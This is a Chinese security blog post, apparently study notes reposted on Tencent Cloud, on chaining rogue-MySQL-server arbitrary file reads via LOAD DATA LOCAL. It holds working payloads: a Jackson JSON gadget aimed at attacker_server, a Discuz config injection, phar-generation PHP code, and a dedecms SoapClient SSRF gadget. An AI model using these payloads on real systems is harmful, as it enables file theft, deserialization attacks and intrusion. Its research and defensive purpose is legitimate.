前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Mysql Client 任意文件读取攻击链拓展

Mysql Client 任意文件读取攻击链拓展

作者头像
鸿鹄实验室
发布2021-04-15 11:09:15
1.7K0
发布2021-04-15 11:09:15
举报
文章被收录于专栏:鸿鹄实验室

Load data infile

首先认识一下一个语法:

Load data infile

我们看下mysql手册是如何定义的。

代码语言:javascript
复制
LOAD DATA
    [LOW_PRIORITY | CONCURRENT] [LOCAL]
    INFILE 'file_name'
    [REPLACE | IGNORE]
    INTO TABLE tbl_name
    [PARTITION (partition_name [, partition_name] ...)]
    [CHARACTER SET charset_name]
    [{FIELDS | COLUMNS}
        [TERMINATED BY 'string']
        [[OPTIONALLY] ENCLOSED BY 'char']
        [ESCAPED BY 'char']
    ]
    [LINES
        [STARTING BY 'string']
        [TERMINATED BY 'string']
    ]
    [IGNORE number {LINES | ROWS}]
    [(col_name_or_user_var
        [, col_name_or_user_var] ...)]
    [SET col_name={expr | DEFAULT},
        [, col_name={expr | DEFAULT}] ...]

基本用法(导入文件test.txt到table1表中,txt文件中的行分隔符为\r\n,默认tab键为字段分隔符,txt文件中的每个字段按顺序对应column1、column2,。。。导入表中)

代码语言:javascript
复制
load data infile "/test.txt" into table1 lines terminated by '\r\n' (colunm1,colunm2,...)

如果字段分隔符不是tab,可加入:fields terminated by ‘分隔符’

知道了该语法的基本用法之后,我们看一下在渗透中的用法,也就是读文件。

代码语言:javascript
复制
load data infile "C:\2.txt" into table test FIELDS TERMINATED BY '\n';

不过需要file权限以及收到 --secure-file-priv的限制。

加入local之后就可以了

说明:MySQl的版本不得低于3.22.15,否则load data local不起作用,以及local_infile参数为on

流程

网上有很多相关的原理我这里就不过多赘述了,然后原理懂得之后,我们其实就可以进行利用了。一张图了解大概的流程;

然后我这里使用phpstudy的phpmyadmin做演示,嫌麻烦的可以用vulnspy的在线环境,

需要的是操作步骤:修改phpMyAdmin目录下的 /libraries/config.default.php

代码语言:javascript
复制
/**
 * allow login to any user entered server in cookie based authentication
 *
 * @global boolean $cfg[‘AllowArbitraryServer’]
 */
$cfg[‘AllowArbitraryServer’] = true;

将默认值false修改为true;

POC

然后远程启动rogue_mysql_server,在phpmyadmin的登录处填写自己的恶意服务器地址,帐号密码随意,即可获取到读取的文件(在恶意mysql中自行制定),在本目录下生成mysql.log文件,里面包含读取到的文件内容

影响范围

下面是一些受影响的范围:

底层应用

客户端

是否影响

mysql client 1

pwned

php mysqli

pwned,fixed by 7.3.4

php pdo

默认禁用

python MySQLdb

pwned

python mysqlclient

pwned

java JDBC Driver

pwned,部分条件下默认禁用

navicat

pwned

探针

探针名称

是否影响

雅黑PHP探针

失败

iprober2 探针

失败

PHP探针 for LNMP一键安装包

失败

UPUPW PHP 探针

失败

云服务商 云数据库 数据迁移服务

服务商

是否影响

腾讯云 DTS

失败 禁用Load data local

阿里云 RDS 数据迁移

失败 禁用Load data local

华为云 RDS DRS服务

成功

京东云 RDS

不支持远程迁移功能分布式关系数据库未开放

UCloud RDS

不支持远程迁移功能,分布式关系数据库不能对外数据同步

QiNiu云 RDS

不支持远程迁移功能

新睿云 RDS

不支持远程迁移功能

网易云 RDS

外部实例迁移 成功

金山云 RDS DTS数据迁移

成功

青云Cloud RDS

数据导入 失败,禁用load data local

百度Cloud RDS

DTS 成功

Google could SQL数据库

迁移失败 禁用Load data infile

AWS RDS

DMS服务 成功

Excel online sql查询

header 1

header 2

WPS

failed(没找到这个功能)

Microsoft excel

failed(禁用了infile语句)

Google 表格 插件Supermetrics

pwned

Advanced CFO Solutions

MySQL Query failed

SeekWell

failed

Skyvia Query Gallery

failed

database Borwser

failed

Kloudio

pwned

拓展

CVE-2019-12086 jackson任意文件读取漏洞

CVE-2019-12086:在2.9.9之前的FasterXML jackson-databind 2.x中发现了漏洞。在开启Default Typing的情况下,且classpath中存在mysql-connector-java 8.0.15版本(2019.2.1发布)以下,攻击者可以通过发送恶意json数据读取任意文件。mysql-connector-java这个库就是连接数据库时常用的mysql jdbc。这是因为缺少com.mysql.cj.jdbc.admin.MiniAdmin验证。

其实这个漏洞主要还是Mysql的锅,在com.mysql.cj.jdbc.admin.MiniAdmin的构造函数接受一个string的值,这个值代表jdbcURL,com.mysql.cj.jdbc.admin.MiniAdmin类在初始化会连接这个jdbcURL中指定的MySQL数据库。

payload:

代码语言:javascript
复制
["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]

任意文件读 with 配置文件泄露

在Discuz x3.4的配置中存在这样两个文件

代码语言:javascript
复制
config/config_ucenter.php
config/config_global.php

在dz的后台,有一个ucenter的设置功能,这个功能中提供了ucenter的数据库服务器配置功能,通过配置数据库链接恶意服务器,可以实现任意文件读取获取配置信息。

配置ucenter的访问地址。

代码语言:javascript
复制
原地址:http://localhost:8086/upload/uc_server
修改为:http://localhost:8086/upload/uc_server\');phpinfo();//

当我们获得了authkey之后,我们可以通过admin的uid以及盐来计算admin的cookie。然后用admin的cookie以及UC_KEY来访问即可生效

任意文件读 to 反序列化

2018年BlackHat大会上的Sam Thomas分享的File Operation Induced Unserialization via the “phar://” Stream Wrapper议题,原文https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf 。

在该议题中提到,在PHP中存在一个叫做Stream API,通过注册拓展可以注册相应的伪协议,而phar这个拓展就注册了phar://这个stream wrapper。

首先需要一个生成一个phar

代码语言:javascript
复制
pphar.php
<?php
class A {
    public $s = '';
    public function __wakeup () {
        echo "pwned!!";
    }
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a "."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new A();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

使用该文件生成一个phar.phar

然后我们模拟一次查询

代码语言:javascript
复制
test.php
<?php
class A {
    public $s = '';
    public function __wakeup () {
        echo "pwned!!";
    }
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, '{evil_mysql_ip}', 'root', '123456', 'test', 3667);
$p = mysqli_query($m, 'select 1;');
// file_get_contents('phar://./phar.phar');

图中我们只做了select 1查询,但我们伪造的evil mysql server中驱使mysql client去做load file local查询,读取了本地的

代码语言:javascript
复制
phar://./phar.phar

成功触发反序列化

反序列化 to RCE

当一个反序列化漏洞出现的时候,我们就需要从源代码中去寻找合适的pop链,建立在pop链的利用基础上,我们可以进一步的扩大反序列化漏洞的危害。

php序列化中常见的魔术方法有以下

•当对象被创建的时候调用:__construct•当对象被销毁的时候调用:__destruct•当对象被当作一个字符串使用时候调用:__toString•序列化对象之前就调用此方法(其返回需要是一个数组):__sleep•反序列化恢复对象之前就调用此方法:__wakeup•当调用对象中不存在的方法会自动调用此方法:__call•配合与之相应的pop链,我们就可以把反序列化转化为RCE。

dedecms 后台反序列化漏洞 to SSRF

dedecms 后台,模块管理,安装UCenter模块。开始配置

首先需要找一个确定的UCenter服务端,可以通过找一个dz的站来做服务端。

然后就会触发任意文件读取,当然,如果读取文件为phar,则会触发反序列化。

我们需要先生成相应的phar

代码语言:javascript
复制
<?php
class Control
{
    var $tpl;
    // $a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa'));
    public $dsql;
    function __construct(){
        $this->dsql = new SoapClient(null,array('uri'=>'http://xxxx:5555', 'location'=>'http://xxxx:5555/aaa'));
    }
    function __destruct() {
        unset($this->tpl);
        $this->dsql->Close(TRUE);
    }
}
@unlink("dedecms.phar");
$phar = new Phar("dedecms.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new Control();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

然后我们可以直接通过前台上传头像来传文件,或者直接后台也有文件上传接口,然后将rogue mysql server来读取这个文件

代码语言:javascript
复制
phar://./dedecms.phar/test.txt

监听5555可以收到

修复方式

对于大多数mysql的客户端来说,load file local是一个无用的语句,他的使用场景大多是用于传输数据或者上传数据等。对于客户端来说,可以直接关闭这个功能,并不会影响到正常的使用。

都是学习笔记,原文地址:https://www.lorexxar.cn/2020/01/14/css-mysql-chain/

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-01-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Load data infile
  • 流程
  • POC
  • 影响范围
  • 拓展
    • CVE-2019-12086 jackson任意文件读取漏洞
      • 任意文件读 with 配置文件泄露
        • 任意文件读 to 反序列化
          • 反序列化 to RCE
          • 修复方式
          相关产品与服务
          文件存储
          文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档